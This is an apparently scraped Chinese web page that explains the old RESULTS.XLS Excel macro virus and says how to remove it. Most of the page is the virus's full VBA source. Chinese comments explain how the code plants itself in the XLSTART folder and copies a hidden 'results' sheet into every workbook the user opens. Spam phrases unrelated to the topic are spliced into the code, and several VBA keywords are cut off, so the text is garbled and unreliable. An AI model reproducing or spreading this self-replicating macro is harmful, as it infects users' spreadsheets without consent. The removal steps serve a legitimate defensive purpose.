RESULTS宏病毒学习与处理方法

更新时间:2023-05-31 04:16:37 阅读: 评论:0

RESULTS宏病毒学习与处理方法  盖章申请
Sub auto_open()
    Application.OnSheetActivate = "ck_files"  '这个auto_open,是文件打开自动执行。由于本文件是放在xlstart文件夹,任何excel文件启动,都会先打开这个文件。
End Sub
Sub ck_files()
    c$ = Application.StartupPath              '取得xlstart文件夹的路径
    m$ = Dir(c$ & "\" & "RESULTS.XLS")        '取得results.xls文件名
    If m$ = "RESULTS.XLS" Then p = 1 El p = 0 '如果result文件不存在,m$是""
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 El w = 0 '判断活动工作簿的模块数量。这个活动工作簿,不是results.xls,是你正常打开的那个工作簿。
    whichfile = p + w * 10  '这个whichfile变量,是10的话,就是当前活动工作簿有模块,而xlstart中没有resutlts.xls,是1的话,则相反。
Select Ca whichfile
    Ca 10 '当前活动工作簿有模块,而xlstart中没有resutlts.xls执行以下代码
    Application.ScreenUpdating = Fal
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy  '将results工作表 copy 出来,新建一个工作簿。这个工作簿就是下面的活动工作簿了。
    With ActiveWorkbook牙套日记
        .Title = ""    '帮助中说这是保存为网页时,文档的名称,现在是空白的。
自觉吃药打一成语        .Subject = ""    '帮助中说这是发邮件时,作为邮件主题
        .Author = ""    '文档作者
        .Keywords = ""  '关键词
        .Comments = ""  '注释
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()  '得到当前驱动器路径,比如C:\,E:\
    ChDir Application.StartupPath  '改变路径到xlstart
    ActiveWindow.Visible = Fal
    Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _泥鳅的做法
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        Fal, CreateBackup:=Fal  '关键的地方,由于新建工作簿包含results,而xlstart文件夹中没有,所以将新建工作簿以results.xls名保存在xlstart文件夹中。
    ChDir c4$  '保存结束,重新转入到原来正常使用的工作簿的路径
    Workbooks(n4$).Sheets("results").Visible = Fal    '隐藏results工作表
    Application.OnSheetActivate = ""    '如果你原来就有onsheetactivate的变量,这儿被它改了。
欧阳修    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"  '每次将工作表变动一下就会执行这个代码。如果你有好多工作簿,都操作一遍,那么全部染上它了。
    Ca 1  '当前活动工作簿没有模块,而xlstart中有resutlts.xls
    Application.ScreenUpdating = Fal
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then  '如果你使用的工作簿第一个工作表不是results,那么它就插入病毒文件了。
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = Fal
    El
竹叶兰
    End If
    Application.OnSheetActivate = ""
dnf异界怎么去
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Ca El
End Select
End Sub
 
如果不慎运行了代码,可以这样处理:
1,在VBE里面,右键点击它的模块1,选择移除模块,不保存,退出Excel,对提示是否保存Results.xls,选择是。
2,C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART里面删除Results.xls。普希金代表作
再打开Excel,检查VBE,已经没有这个宏了。

本文发布于:2023-05-31 04:16:37,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/fan/82/817902.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:工作   模块   文件   活动   保存   路径   执行   文件夹
相关文章
留言与评论(共有 0 条评论)
   
验证码:
推荐文章
排行榜
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图